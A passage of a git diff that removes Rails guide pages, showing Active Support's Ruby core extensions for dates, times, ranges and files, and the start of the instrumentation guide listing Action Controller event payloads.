ActiveSupport::HashWithIndifferentAccess -``` - -NOTE: Defined in `active_support/core_ext/hash/slice.rb`. - -### Indifferent Access - -The method `with_indifferent_access` returns an `ActiveSupport::HashWithIndifferentAccess` out of its receiver: - -```ruby -{a: 1}.with_indifferent_access["a"] # => 1 -``` - -NOTE: Defined in `active_support/core_ext/hash/indifferent_access.rb`. - -### Compacting - -The methods `compact` and `compact!` return a Hash without items with `nil` value. - -```ruby -{a: 1, b: 2, c: nil}.compact # => {a: 1, b: 2} -``` - -NOTE: Defined in `active_support/core_ext/hash/compact.rb`. - -Extensions to `Regexp` ----------------------- - -### `multiline?` - -The method `multiline?` says whether a regexp has the `/m` flag set, that is, whether the dot matches newlines. - -```ruby -%r{.}.multiline? # => false -%r{.}m.multiline? # => true - -Regexp.new('.').multiline? # => false -Regexp.new('.', Regexp::MULTILINE).multiline? # => true -``` - -Rails uses this method in a single place, also in the routing code. Multiline regexps are disallowed for route requirements and this flag eases enforcing that constraint. - -```ruby -def assign_route_options(segments, defaults, requirements) - ... - if requirement.multiline? - raise ArgumentError, "Regexp multiline option not allowed in routing requirements: #{requirement.inspect}" - end - ... -end -``` - -NOTE: Defined in `active_support/core_ext/regexp.rb`. - -### `match?` - -Rails implements `Regexp#match?` for Ruby versions prior to 2.4: - -```ruby -/oo/.match?('foo') # => true -/oo/.match?('bar') # => false -/oo/.match?('foo', 1) # => true -``` - -The backport has the same interface and lack of side-effects in the caller like -not setting `$1` and friends, but it does not have the speed benefits. Its -purpose is to be able to write 2.4 compatible code. Rails itself uses this -predicate internally for example. - -Active Support defines `Regexp#match?` only if not present, so code running -under 2.4 or later does run the original one and gets the performance boost. - -Extensions to `Range` ---------------------- - -### `to_s` - -Active Support extends the method `Range#to_s` so that it understands an optional format argument. As of this writing the only supported non-default format is `:db`: - -```ruby -(Date.today..Date.tomorrow).to_s -# => "2009-10-25..2009-10-26" - -(Date.today..Date.tomorrow).to_s(:db) -# => "BETWEEN '2009-10-25' AND '2009-10-26'" -``` - -As the example depicts, the `:db` format generates a `BETWEEN` SQL clause. That is used by Active Record in its support for range values in conditions. - -NOTE: Defined in `active_support/core_ext/range/conversions.rb`. - -### `include?` - -The methods `Range#include?` and `Range#===` say whether some value falls between the ends of a given instance: - -```ruby -(2..3).include?(Math::E) # => true -``` - -Active Support extends these methods so that the argument may be another range in turn. In that case we test whether the ends of the argument range belong to the receiver themselves: - -```ruby -(1..10).include?(3..7) # => true -(1..10).include?(0..7) # => false -(1..10).include?(3..11) # => false -(1...9).include?(3..9) # => false - -(1..10) === (3..7) # => true -(1..10) === (0..7) # => false -(1..10) === (3..11) # => false -(1...9) === (3..9) # => false -``` - -NOTE: Defined in `active_support/core_ext/range/include_range.rb`. - -### `overlaps?` - -The method `Range#overlaps?` says whether any two given ranges have non-void intersection: - -```ruby -(1..10).overlaps?(7..11) # => true -(1..10).overlaps?(0..7) # => true -(1..10).overlaps?(11..27) # => false -``` - -NOTE: Defined in `active_support/core_ext/range/overlaps.rb`. - -Extensions to `Date` --------------------- - -### Calculations - -NOTE: All the following methods are defined in `active_support/core_ext/date/calculations.rb`. - -INFO: The following calculation methods have edge cases in October 1582, since days 5..14 just do not exist. This guide does not document their behavior around those days for brevity, but it is enough to say that they do what you would expect. That is, `Date.new(1582, 10, 4).tomorrow` returns `Date.new(1582, 10, 15)` and so on. Please check `test/core_ext/date_ext_test.rb` in the Active Support test suite for expected behavior. - -#### `Date.current` - -Active Support defines `Date.current` to be today in the current time zone. That's like `Date.today`, except that it honors the user time zone, if defined. It also defines `Date.yesterday` and `Date.tomorrow`, and the instance predicates `past?`, `today?`, `future?`, `on_weekday?` and `on_weekend?`, all of them relative to `Date.current`. - -When making Date comparisons using methods which honor the user time zone, make sure to use `Date.current` and not `Date.today`. There are cases where the user time zone might be in the future compared to the system time zone, which `Date.today` uses by default. This means `Date.today` may equal `Date.yesterday`. - -#### Named dates - -##### `prev_year`, `next_year` - -In Ruby 1.9 `prev_year` and `next_year` return a date with the same day/month in the last or next year: - -```ruby -d = Date.new(2010, 5, 8) # => Sat, 08 May 2010 -d.prev_year # => Fri, 08 May 2009 -d.next_year # => Sun, 08 May 2011 -``` - -If date is the 29th of February of a leap year, you obtain the 28th: - -```ruby -d = Date.new(2000, 2, 29) # => Tue, 29 Feb 2000 -d.prev_year # => Sun, 28 Feb 1999 -d.next_year # => Wed, 28 Feb 2001 -``` - -`prev_year` is aliased to `last_year`. - -##### `prev_month`, `next_month` - -In Ruby 1.9 `prev_month` and `next_month` return the date with the same day in the last or next month: - -```ruby -d = Date.new(2010, 5, 8) # => Sat, 08 May 2010 -d.prev_month # => Thu, 08 Apr 2010 -d.next_month # => Tue, 08 Jun 2010 -``` - -If such a day does not exist, the last day of the corresponding month is returned: - -```ruby -Date.new(2000, 5, 31).prev_month # => Sun, 30 Apr 2000 -Date.new(2000, 3, 31).prev_month # => Tue, 29 Feb 2000 -Date.new(2000, 5, 31).next_month # => Fri, 30 Jun 2000 -Date.new(2000, 1, 31).next_month # => Tue, 29 Feb 2000 -``` - -`prev_month` is aliased to `last_month`. - -##### `prev_quarter`, `next_quarter` - -Same as `prev_month` and `next_month`. It returns the date with the same day in the previous or next quarter: - -```ruby -t = Time.local(2010, 5, 8) # => Sat, 08 May 2010 -t.prev_quarter # => Mon, 08 Feb 2010 -t.next_quarter # => Sun, 08 Aug 2010 -``` - -If such a day does not exist, the last day of the corresponding month is returned: - -```ruby -Time.local(2000, 7, 31).prev_quarter # => Sun, 30 Apr 2000 -Time.local(2000, 5, 31).prev_quarter # => Tue, 29 Feb 2000 -Time.local(2000, 10, 31).prev_quarter # => Mon, 30 Oct 2000 -Time.local(2000, 11, 31).next_quarter # => Wed, 28 Feb 2001 -``` - -`prev_quarter` is aliased to `last_quarter`. - -##### `beginning_of_week`, `end_of_week` - -The methods `beginning_of_week` and `end_of_week` return the dates for the -beginning and end of the week, respectively. Weeks are assumed to start on -Monday, but that can be changed passing an argument, setting thread local -`Date.beginning_of_week` or `config.beginning_of_week`. - -```ruby -d = Date.new(2010, 5, 8) # => Sat, 08 May 2010 -d.beginning_of_week # => Mon, 03 May 2010 -d.beginning_of_week(:sunday) # => Sun, 02 May 2010 -d.end_of_week # => Sun, 09 May 2010 -d.end_of_week(:sunday) # => Sat, 08 May 2010 -``` - -`beginning_of_week` is aliased to `at_beginning_of_week` and `end_of_week` is aliased to `at_end_of_week`. - -##### `monday`, `sunday` - -The methods `monday` and `sunday` return the dates for the previous Monday and -next Sunday, respectively. - -```ruby -d = Date.new(2010, 5, 8) # => Sat, 08 May 2010 -d.monday # => Mon, 03 May 2010 -d.sunday # => Sun, 09 May 2010 - -d = Date.new(2012, 9, 10) # => Mon, 10 Sep 2012 -d.monday # => Mon, 10 Sep 2012 - -d = Date.new(2012, 9, 16) # => Sun, 16 Sep 2012 -d.sunday # => Sun, 16 Sep 2012 -``` - -##### `prev_week`, `next_week` - -The method `next_week` receives a symbol with a day name in English (default is the thread local `Date.beginning_of_week`, or `config.beginning_of_week`, or `:monday`) and it returns the date corresponding to that day. - -```ruby -d = Date.new(2010, 5, 9) # => Sun, 09 May 2010 -d.next_week # => Mon, 10 May 2010 -d.next_week(:saturday) # => Sat, 15 May 2010 -``` - -The method `prev_week` is analogous: - -```ruby -d.prev_week # => Mon, 26 Apr 2010 -d.prev_week(:saturday) # => Sat, 01 May 2010 -d.prev_week(:friday) # => Fri, 30 Apr 2010 -``` - -`prev_week` is aliased to `last_week`. - -Both `next_week` and `prev_week` work as expected when `Date.beginning_of_week` or `config.beginning_of_week` are set. - -##### `beginning_of_month`, `end_of_month` - -The methods `beginning_of_month` and `end_of_month` return the dates for the beginning and end of the month: - -```ruby -d = Date.new(2010, 5, 9) # => Sun, 09 May 2010 -d.beginning_of_month # => Sat, 01 May 2010 -d.end_of_month # => Mon, 31 May 2010 -``` - -`beginning_of_month` is aliased to `at_beginning_of_month`, and `end_of_month` is aliased to `at_end_of_month`. - -##### `beginning_of_quarter`, `end_of_quarter` - -The methods `beginning_of_quarter` and `end_of_quarter` return the dates for the beginning and end of the quarter of the receiver's calendar year: - -```ruby -d = Date.new(2010, 5, 9) # => Sun, 09 May 2010 -d.beginning_of_quarter # => Thu, 01 Apr 2010 -d.end_of_quarter # => Wed, 30 Jun 2010 -``` - -`beginning_of_quarter` is aliased to `at_beginning_of_quarter`, and `end_of_quarter` is aliased to `at_end_of_quarter`. - -##### `beginning_of_year`, `end_of_year` - -The methods `beginning_of_year` and `end_of_year` return the dates for the beginning and end of the year: - -```ruby -d = Date.new(2010, 5, 9) # => Sun, 09 May 2010 -d.beginning_of_year # => Fri, 01 Jan 2010 -d.end_of_year # => Fri, 31 Dec 2010 -``` - -`beginning_of_year` is aliased to `at_beginning_of_year`, and `end_of_year` is aliased to `at_end_of_year`. - -#### Other Date Computations - -##### `years_ago`, `years_since` - -The method `years_ago` receives a number of years and returns the same date those many years ago: - -```ruby -date = Date.new(2010, 6, 7) -date.years_ago(10) # => Wed, 07 Jun 2000 -``` - -`years_since` moves forward in time: - -```ruby -date = Date.new(2010, 6, 7) -date.years_since(10) # => Sun, 07 Jun 2020 -``` - -If such a day does not exist, the last day of the corresponding month is returned: - -```ruby -Date.new(2012, 2, 29).years_ago(3) # => Sat, 28 Feb 2009 -Date.new(2012, 2, 29).years_since(3) # => Sat, 28 Feb 2015 -``` - -##### `months_ago`, `months_since` - -The methods `months_ago` and `months_since` work analogously for months: - -```ruby -Date.new(2010, 4, 30).months_ago(2) # => Sun, 28 Feb 2010 -Date.new(2010, 4, 30).months_since(2) # => Wed, 30 Jun 2010 -``` - -If such a day does not exist, the last day of the corresponding month is returned: - -```ruby -Date.new(2010, 4, 30).months_ago(2) # => Sun, 28 Feb 2010 -Date.new(2009, 12, 31).months_since(2) # => Sun, 28 Feb 2010 -``` - -##### `weeks_ago` - -The method `weeks_ago` works analogously for weeks: - -```ruby -Date.new(2010, 5, 24).weeks_ago(1) # => Mon, 17 May 2010 -Date.new(2010, 5, 24).weeks_ago(2) # => Mon, 10 May 2010 -``` - -##### `advance` - -The most generic way to jump to other days is `advance`. This method receives a hash with keys `:years`, `:months`, `:weeks`, `:days`, and returns a date advanced as much as the present keys indicate: - -```ruby -date = Date.new(2010, 6, 6) -date.advance(years: 1, weeks: 2) # => Mon, 20 Jun 2011 -date.advance(months: 2, days: -2) # => Wed, 04 Aug 2010 -``` - -Note in the previous example that increments may be negative. - -To perform the computation the method first increments years, then months, then weeks, and finally days. This order is important towards the end of months. Say for example we are at the end of February of 2010, and we want to move one month and one day forward. - -The method `advance` advances first one month, and then one day, the result is: - -```ruby -Date.new(2010, 2, 28).advance(months: 1, days: 1) -# => Sun, 29 Mar 2010 -``` - -While if it did it the other way around the result would be different: - -```ruby -Date.new(2010, 2, 28).advance(days: 1).advance(months: 1) -# => Thu, 01 Apr 2010 -``` - -#### Changing Components - -The method `change` allows you to get a new date which is the same as the receiver except for the given year, month, or day: - -```ruby -Date.new(2010, 12, 23).change(year: 2011, month: 11) -# => Wed, 23 Nov 2011 -``` - -This method is not tolerant to non-existing dates, if the change is invalid `ArgumentError` is raised: - -```ruby -Date.new(2010, 1, 31).change(month: 2) -# => ArgumentError: invalid date -``` - -#### Durations - -Durations can be added to and subtracted from dates: - -```ruby -d = Date.current -# => Mon, 09 Aug 2010 -d + 1.year -# => Tue, 09 Aug 2011 -d - 3.hours -# => Sun, 08 Aug 2010 21:00:00 UTC +00:00 -``` - -They translate to calls to `since` or `advance`. For example here we get the correct jump in the calendar reform: - -```ruby -Date.new(1582, 10, 4) + 1.day -# => Fri, 15 Oct 1582 -``` - -#### Timestamps - -INFO: The following methods return a `Time` object if possible, otherwise a `DateTime`. If set, they honor the user time zone. - -##### `beginning_of_day`, `end_of_day` - -The method `beginning_of_day` returns a timestamp at the beginning of the day (00:00:00): - -```ruby -date = Date.new(2010, 6, 7) -date.beginning_of_day # => Mon Jun 07 00:00:00 +0200 2010 -``` - -The method `end_of_day` returns a timestamp at the end of the day (23:59:59): - -```ruby -date = Date.new(2010, 6, 7) -date.end_of_day # => Mon Jun 07 23:59:59 +0200 2010 -``` - -`beginning_of_day` is aliased to `at_beginning_of_day`, `midnight`, `at_midnight`. - -##### `beginning_of_hour`, `end_of_hour` - -The method `beginning_of_hour` returns a timestamp at the beginning of the hour (hh:00:00): - -```ruby -date = DateTime.new(2010, 6, 7, 19, 55, 25) -date.beginning_of_hour # => Mon Jun 07 19:00:00 +0200 2010 -``` - -The method `end_of_hour` returns a timestamp at the end of the hour (hh:59:59): - -```ruby -date = DateTime.new(2010, 6, 7, 19, 55, 25) -date.end_of_hour # => Mon Jun 07 19:59:59 +0200 2010 -``` - -`beginning_of_hour` is aliased to `at_beginning_of_hour`. - -##### `beginning_of_minute`, `end_of_minute` - -The method `beginning_of_minute` returns a timestamp at the beginning of the minute (hh:mm:00): - -```ruby -date = DateTime.new(2010, 6, 7, 19, 55, 25) -date.beginning_of_minute # => Mon Jun 07 19:55:00 +0200 2010 -``` - -The method `end_of_minute` returns a timestamp at the end of the minute (hh:mm:59): - -```ruby -date = DateTime.new(2010, 6, 7, 19, 55, 25) -date.end_of_minute # => Mon Jun 07 19:55:59 +0200 2010 -``` - -`beginning_of_minute` is aliased to `at_beginning_of_minute`. - -INFO: `beginning_of_hour`, `end_of_hour`, `beginning_of_minute` and `end_of_minute` are implemented for `Time` and `DateTime` but **not** `Date` as it does not make sense to request the beginning or end of an hour or minute on a `Date` instance. - -##### `ago`, `since` - -The method `ago` receives a number of seconds as argument and returns a timestamp those many seconds ago from midnight: - -```ruby -date = Date.current # => Fri, 11 Jun 2010 -date.ago(1) # => Thu, 10 Jun 2010 23:59:59 EDT -04:00 -``` - -Similarly, `since` moves forward: - -```ruby -date = Date.current # => Fri, 11 Jun 2010 -date.since(1) # => Fri, 11 Jun 2010 00:00:01 EDT -04:00 -``` - -#### Other Time Computations - -### Conversions - -Extensions to `DateTime` ------------------------- - -WARNING: `DateTime` is not aware of DST rules and so some of these methods have edge cases when a DST change is going on. For example `seconds_since_midnight` might not return the real amount in such a day. - -### Calculations - -NOTE: All the following methods are defined in `active_support/core_ext/date_time/calculations.rb`. - -The class `DateTime` is a subclass of `Date` so by loading `active_support/core_ext/date/calculations.rb` you inherit these methods and their aliases, except that they will always return datetimes: - -```ruby -yesterday -tomorrow -beginning_of_week (at_beginning_of_week) -end_of_week (at_end_of_week) -monday -sunday -weeks_ago -prev_week (last_week) -next_week -months_ago -months_since -beginning_of_month (at_beginning_of_month) -end_of_month (at_end_of_month) -prev_month (last_month) -next_month -beginning_of_quarter (at_beginning_of_quarter) -end_of_quarter (at_end_of_quarter) -beginning_of_year (at_beginning_of_year) -end_of_year (at_end_of_year) -years_ago -years_since -prev_year (last_year) -next_year -on_weekday? -on_weekend? -``` - -The following methods are reimplemented so you do **not** need to load `active_support/core_ext/date/calculations.rb` for these ones: - -```ruby -beginning_of_day (midnight, at_midnight, at_beginning_of_day) -end_of_day -ago -since (in) -``` - -On the other hand, `advance` and `change` are also defined and support more options, they are documented below. - -The following methods are only implemented in `active_support/core_ext/date_time/calculations.rb` as they only make sense when used with a `DateTime` instance: - -```ruby -beginning_of_hour (at_beginning_of_hour) -end_of_hour -``` - -#### Named Datetimes - -##### `DateTime.current` - -Active Support defines `DateTime.current` to be like `Time.now.to_datetime`, except that it honors the user time zone, if defined. It also defines `DateTime.yesterday` and `DateTime.tomorrow`, and the instance predicates `past?`, and `future?` relative to `DateTime.current`. - -#### Other Extensions - -##### `seconds_since_midnight` - -The method `seconds_since_midnight` returns the number of seconds since midnight: - -```ruby -now = DateTime.current # => Mon, 07 Jun 2010 20:26:36 +0000 -now.seconds_since_midnight # => 73596 -``` - -##### `utc` - -The method `utc` gives you the same datetime in the receiver expressed in UTC. - -```ruby -now = DateTime.current # => Mon, 07 Jun 2010 19:27:52 -0400 -now.utc # => Mon, 07 Jun 2010 23:27:52 +0000 -``` - -This method is also aliased as `getutc`. - -##### `utc?` - -The predicate `utc?` says whether the receiver has UTC as its time zone: - -```ruby -now = DateTime.now # => Mon, 07 Jun 2010 19:30:47 -0400 -now.utc? # => false -now.utc.utc? # => true -``` - -##### `advance` - -The most generic way to jump to another datetime is `advance`. This method receives a hash with keys `:years`, `:months`, `:weeks`, `:days`, `:hours`, `:minutes`, and `:seconds`, and returns a datetime advanced as much as the present keys indicate. - -```ruby -d = DateTime.current -# => Thu, 05 Aug 2010 11:33:31 +0000 -d.advance(years: 1, months: 1, days: 1, hours: 1, minutes: 1, seconds: 1) -# => Tue, 06 Sep 2011 12:34:32 +0000 -``` - -This method first computes the destination date passing `:years`, `:months`, `:weeks`, and `:days` to `Date#advance` documented above. After that, it adjusts the time calling `since` with the number of seconds to advance. This order is relevant, a different ordering would give different datetimes in some edge-cases. The example in `Date#advance` applies, and we can extend it to show order relevance related to the time bits. - -If we first move the date bits (that have also a relative order of processing, as documented before), and then the time bits we get for example the following computation: - -```ruby -d = DateTime.new(2010, 2, 28, 23, 59, 59) -# => Sun, 28 Feb 2010 23:59:59 +0000 -d.advance(months: 1, seconds: 1) -# => Mon, 29 Mar 2010 00:00:00 +0000 -``` - -but if we computed them the other way around, the result would be different: - -```ruby -d.advance(seconds: 1).advance(months: 1) -# => Thu, 01 Apr 2010 00:00:00 +0000 -``` - -WARNING: Since `DateTime` is not DST-aware you can end up in a non-existing point in time with no warning or error telling you so. - -#### Changing Components - -The method `change` allows you to get a new datetime which is the same as the receiver except for the given options, which may include `:year`, `:month`, `:day`, `:hour`, `:min`, `:sec`, `:offset`, `:start`: - -```ruby -now = DateTime.current -# => Tue, 08 Jun 2010 01:56:22 +0000 -now.change(year: 2011, offset: Rational(-6, 24)) -# => Wed, 08 Jun 2011 01:56:22 -0600 -``` - -If hours are zeroed, then minutes and seconds are too (unless they have given values): - -```ruby -now.change(hour: 0) -# => Tue, 08 Jun 2010 00:00:00 +0000 -``` - -Similarly, if minutes are zeroed, then seconds are too (unless it has given a value): - -```ruby -now.change(min: 0) -# => Tue, 08 Jun 2010 01:00:00 +0000 -``` - -This method is not tolerant to non-existing dates, if the change is invalid `ArgumentError` is raised: - -```ruby -DateTime.current.change(month: 2, day: 30) -# => ArgumentError: invalid date -``` - -#### Durations - -Durations can be added to and subtracted from datetimes: - -```ruby -now = DateTime.current -# => Mon, 09 Aug 2010 23:15:17 +0000 -now + 1.year -# => Tue, 09 Aug 2011 23:15:17 +0000 -now - 1.week -# => Mon, 02 Aug 2010 23:15:17 +0000 -``` - -They translate to calls to `since` or `advance`. For example here we get the correct jump in the calendar reform: - -```ruby -DateTime.new(1582, 10, 4, 23) + 1.hour -# => Fri, 15 Oct 1582 00:00:00 +0000 -``` - -Extensions to `Time` --------------------- - -### Calculations - -NOTE: All the following methods are defined in `active_support/core_ext/time/calculations.rb`. - -Active Support adds to `Time` many of the methods available for `DateTime`: - -```ruby -past? -today? -future? -yesterday -tomorrow -seconds_since_midnight -change -advance -ago -since (in) -beginning_of_day (midnight, at_midnight, at_beginning_of_day) -end_of_day -beginning_of_hour (at_beginning_of_hour) -end_of_hour -beginning_of_week (at_beginning_of_week) -end_of_week (at_end_of_week) -monday -sunday -weeks_ago -prev_week (last_week) -next_week -months_ago -months_since -beginning_of_month (at_beginning_of_month) -end_of_month (at_end_of_month) -prev_month (last_month) -next_month -beginning_of_quarter (at_beginning_of_quarter) -end_of_quarter (at_end_of_quarter) -beginning_of_year (at_beginning_of_year) -end_of_year (at_end_of_year) -years_ago -years_since -prev_year (last_year) -next_year -on_weekday? -on_weekend? -``` - -They are analogous. Please refer to their documentation above and take into account the following differences: - -* `change` accepts an additional `:usec` option. -* `Time` understands DST, so you get correct DST calculations as in - -```ruby -Time.zone_default -# => # - -# In Barcelona, 2010/03/28 02:00 +0100 becomes 2010/03/28 03:00 +0200 due to DST. -t = Time.local(2010, 3, 28, 1, 59, 59) -# => Sun Mar 28 01:59:59 +0100 2010 -t.advance(seconds: 1) -# => Sun Mar 28 03:00:00 +0200 2010 -``` - -* If `since` or `ago` jump to a time that can't be expressed with `Time` a `DateTime` object is returned instead. - -#### `Time.current` - -Active Support defines `Time.current` to be today in the current time zone. That's like `Time.now`, except that it honors the user time zone, if defined. It also defines the instance predicates `past?`, `today?`, and `future?`, all of them relative to `Time.current`. - -When making Time comparisons using methods which honor the user time zone, make sure to use `Time.current` instead of `Time.now`. There are cases where the user time zone might be in the future compared to the system time zone, which `Time.now` uses by default. This means `Time.now.to_date` may equal `Date.yesterday`. - -#### `all_day`, `all_week`, `all_month`, `all_quarter` and `all_year` - -The method `all_day` returns a range representing the whole day of the current time. - -```ruby -now = Time.current -# => Mon, 09 Aug 2010 23:20:05 UTC +00:00 -now.all_day -# => Mon, 09 Aug 2010 00:00:00 UTC +00:00..Mon, 09 Aug 2010 23:59:59 UTC +00:00 -``` - -Analogously, `all_week`, `all_month`, `all_quarter` and `all_year` all serve the purpose of generating time ranges. - -```ruby -now = Time.current -# => Mon, 09 Aug 2010 23:20:05 UTC +00:00 -now.all_week -# => Mon, 09 Aug 2010 00:00:00 UTC +00:00..Sun, 15 Aug 2010 23:59:59 UTC +00:00 -now.all_week(:sunday) -# => Sun, 16 Sep 2012 00:00:00 UTC +00:00..Sat, 22 Sep 2012 23:59:59 UTC +00:00 -now.all_month -# => Sat, 01 Aug 2010 00:00:00 UTC +00:00..Tue, 31 Aug 2010 23:59:59 UTC +00:00 -now.all_quarter -# => Thu, 01 Jul 2010 00:00:00 UTC +00:00..Thu, 30 Sep 2010 23:59:59 UTC +00:00 -now.all_year -# => Fri, 01 Jan 2010 00:00:00 UTC +00:00..Fri, 31 Dec 2010 23:59:59 UTC +00:00 -``` - -### Time Constructors - -Active Support defines `Time.current` to be `Time.zone.now` if there's a user time zone defined, with fallback to `Time.now`: - -```ruby -Time.zone_default -# => # -Time.current -# => Fri, 06 Aug 2010 17:11:58 CEST +02:00 -``` - -Analogously to `DateTime`, the predicates `past?`, and `future?` are relative to `Time.current`. - -If the time to be constructed lies beyond the range supported by `Time` in the runtime platform, usecs are discarded and a `DateTime` object is returned instead. - -#### Durations - -Durations can be added to and subtracted from time objects: - -```ruby -now = Time.current -# => Mon, 09 Aug 2010 23:20:05 UTC +00:00 -now + 1.year -# => Tue, 09 Aug 2011 23:21:11 UTC +00:00 -now - 1.week -# => Mon, 02 Aug 2010 23:21:11 UTC +00:00 -``` - -They translate to calls to `since` or `advance`. For example here we get the correct jump in the calendar reform: - -```ruby -Time.utc(1582, 10, 3) + 5.days -# => Mon Oct 18 00:00:00 UTC 1582 -``` - -Extensions to `File` --------------------- - -### `atomic_write` - -With the class method `File.atomic_write` you can write to a file in a way that will prevent any reader from seeing half-written content. - -The name of the file is passed as an argument, and the method yields a file handle opened for writing. Once the block is done `atomic_write` closes the file handle and completes its job. - -For example, Action Pack uses this method to write asset cache files like `all.css`: - -```ruby -File.atomic_write(joined_asset_path) do |cache| - cache.write(join_asset_file_contents(asset_paths)) -end -``` - -To accomplish this `atomic_write` creates a temporary file. That's the file the code in the block actually writes to. On completion, the temporary file is renamed, which is an atomic operation on POSIX systems. If the target file exists `atomic_write` overwrites it and keeps owners and permissions. However there are a few cases where `atomic_write` cannot change the file ownership or permissions, this error is caught and skipped over trusting in the user/filesystem to ensure the file is accessible to the processes that need it. - -NOTE. Due to the chmod operation `atomic_write` performs, if the target file has an ACL set on it this ACL will be recalculated/modified. - -WARNING. Note you can't append with `atomic_write`. - -The auxiliary file is written in a standard directory for temporary files, but you can pass a directory of your choice as second argument. - -NOTE: Defined in `active_support/core_ext/file/atomic.rb`. - -Extensions to `Marshal` ------------------------ - -### `load` - -Active Support adds constant autoloading support to `load`. - -For example, the file cache store deserializes this way: - -```ruby -File.open(file_name) { |f| Marshal.load(f) } -``` - -If the cached data refers to a constant that is unknown at that point, the autoloading mechanism is triggered and if it succeeds the deserialization is retried transparently. - -WARNING. If the argument is an `IO` it needs to respond to `rewind` to be able to retry. Regular files respond to `rewind`. - -NOTE: Defined in `active_support/core_ext/marshal.rb`. - -Extensions to `NameError` -------------------------- - -Active Support adds `missing_name?` to `NameError`, which tests whether the exception was raised because of the name passed as argument. - -The name may be given as a symbol or string. A symbol is tested against the bare constant name, a string is against the fully-qualified constant name. - -TIP: A symbol can represent a fully-qualified constant name as in `:"ActiveRecord::Base"`, so the behavior for symbols is defined for convenience, not because it has to be that way technically. - -For example, when an action of `ArticlesController` is called Rails tries optimistically to use `ArticlesHelper`. It is OK that the helper module does not exist, so if an exception for that constant name is raised it should be silenced. But it could be the case that `articles_helper.rb` raises a `NameError` due to an actual unknown constant. That should be reraised. The method `missing_name?` provides a way to distinguish both cases: - -```ruby -def default_helper_module! - module_name = name.sub(/Controller$/, '') - module_path = module_name.underscore - helper module_path -rescue LoadError => e - raise e unless e.is_missing? "helpers/#{module_path}_helper" -rescue NameError => e - raise e unless e.missing_name? "#{module_name}Helper" -end -``` - -NOTE: Defined in `active_support/core_ext/name_error.rb`. - -Extensions to `LoadError` -------------------------- - -Active Support adds `is_missing?` to `LoadError`. - -Given a path name `is_missing?` tests whether the exception was raised due to that particular file (except perhaps for the ".rb" extension). - -For example, when an action of `ArticlesController` is called Rails tries to load `articles_helper.rb`, but that file may not exist. That's fine, the helper module is not mandatory so Rails silences a load error. But it could be the case that the helper module does exist and in turn requires another library that is missing. In that case Rails must reraise the exception. The method `is_missing?` provides a way to distinguish both cases: - -```ruby -def default_helper_module! - module_name = name.sub(/Controller$/, '') - module_path = module_name.underscore - helper module_path -rescue LoadError => e - raise e unless e.is_missing? "helpers/#{module_path}_helper" -rescue NameError => e - raise e unless e.missing_name? "#{module_name}Helper" -end -``` - -NOTE: Defined in `active_support/core_ext/load_error.rb`. diff --git a/source/active_support_instrumentation.md b/source/active_support_instrumentation.md deleted file mode 100644 index 03c9183..0000000 --- a/source/active_support_instrumentation.md +++ /dev/null @@ -1,552 +0,0 @@ -**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON http://guides.rubyonrails.org.** - -Active Support Instrumentation -============================== - -Active Support is a part of core Rails that provides Ruby language extensions, utilities and other things. One of the things it includes is an instrumentation API that can be used inside an application to measure certain actions that occur within Ruby code, such as that inside a Rails application or the framework itself. It is not limited to Rails, however. It can be used independently in other Ruby scripts if it is so desired. - -In this guide, you will learn how to use the instrumentation API inside of Active Support to measure events inside of Rails and other Ruby code. - -After reading this guide, you will know: - -* What instrumentation can provide. -* The hooks inside the Rails framework for instrumentation. -* Adding a subscriber to a hook. -* Building a custom instrumentation implementation. - --------------------------------------------------------------------------------- - -Introduction to instrumentation -------------------------------- - -The instrumentation API provided by Active Support allows developers to provide hooks which other developers may hook into. There are several of these within the [Rails framework](#rails-framework-hooks). With this API, developers can choose to be notified when certain events occur inside their application or another piece of Ruby code. - -For example, there is a hook provided within Active Record that is called every time Active Record uses an SQL query on a database. This hook could be **subscribed** to, and used to track the number of queries during a certain action. There's another hook around the processing of an action of a controller. This could be used, for instance, to track how long a specific action has taken. - -You are even able to create your own events inside your application which you can later subscribe to. - -Rails framework hooks ---------------------- - -Within the Ruby on Rails framework, there are a number of hooks provided for common events. These are detailed below. - -Action Controller ------------------ - -### write_fragment.action_controller - -| Key | Value | -| ------ | ---------------- | -| `:key` | The complete key | - -```ruby -{ - key: 'posts/1-dashboard-view' -} -``` - -### read_fragment.action_controller - -| Key | Value | -| ------ | ---------------- | -| `:key` | The complete key | - -```ruby -{ - key: 'posts/1-dashboard-view' -} -``` - -### expire_fragment.action_controller - -| Key | Value | -| ------ | ---------------- | -| `:key` | The complete key | - -```ruby -{ - key: 'posts/1-dashboard-view' -} -``` - -### exist_fragment?.action_controller - -| Key | Value | -| ------ | ---------------- | -| `:key` | The complete key | - -```ruby -{ - key: 'posts/1-dashboard-view' -} -``` - -### write_page.action_controller - -| Key | Value | -| ------- | ----------------- | -| `:path` | The complete path | - -```ruby -{ - path: '/users/1' -} -``` - -### expire_page.action_controller - -| Key | Value | -| ------- | ----------------- | -| `:path` | The complete path | - -```ruby -{ - path: '/users/1' -} -``` - -### start_processing.action_controller - -| Key | Value | -| ------------- | --------------------------------------------------------- | -| `:controller` | The controller name | -| `:action` | The action | -| `:params` | Hash of request parameters without any filtered parameter | -| `:headers` | Request headers | -| `:format` | html/js/json/xml etc | -| `:method` | HTTP request verb | -| `:path` | Request path | - -```ruby -{ - controller: "PostsController", - action: "new", - params: { "action" => "new", "controller" => "posts" }, - headers: #, - format: :html, - method: "GET", - path: "/posts/new" -} -``` - -### process_action.action_controller - -| Key | Value | -| --------------- | --------------------------------------------------------- | -| `:controller` | The controller name | -| `:action` | The action | -| `:params` | Hash of request parameters without any filtered parameter | -| `:headers` | Request headers | -| `:format` | html/js/json/xml etc | -| `:method` | HTTP request verb | -| `:path` | Request path | -| `:status` | HTTP status code | -| `:view_runtime` | Amount spent in view in ms | -| `:db_runtime` | Amount spent executing database queries in ms | - -```ruby -{ - controller: "PostsController", - action: "index", - params: {"action" => "index", "controller" => "posts"}, - headers: #, - format: :html, - method: "GET", - path: "/posts", - status: 200, - view_runtime: 46.848, - db_runtime: 0.157 -} -``` - -### send_file.action_controller - -| Key | Value | -| ------- | ------------------------- | -| `:path` | Complete path to the file | - -INFO. Additional keys may be added by the caller. - -### send_data.action_controller - -`ActionController` does not had any specific information to the payload. All options are passed through to the payload. - -### redirect_to.action_controller - -| Key | Value | -| ----------- | ------------------ | -| `:status` | HTTP response code | -| `:location` | URL to redirect to | - -```ruby -{ - status: 302, - location: "http://localhost:3000/posts/new" -} -``` - -### halted_callback.action_controller - -| Key | Value | -| --------- | ----------------------------- | -| `:filter` | Filter that halted the action | - -```ruby -{ - filter: 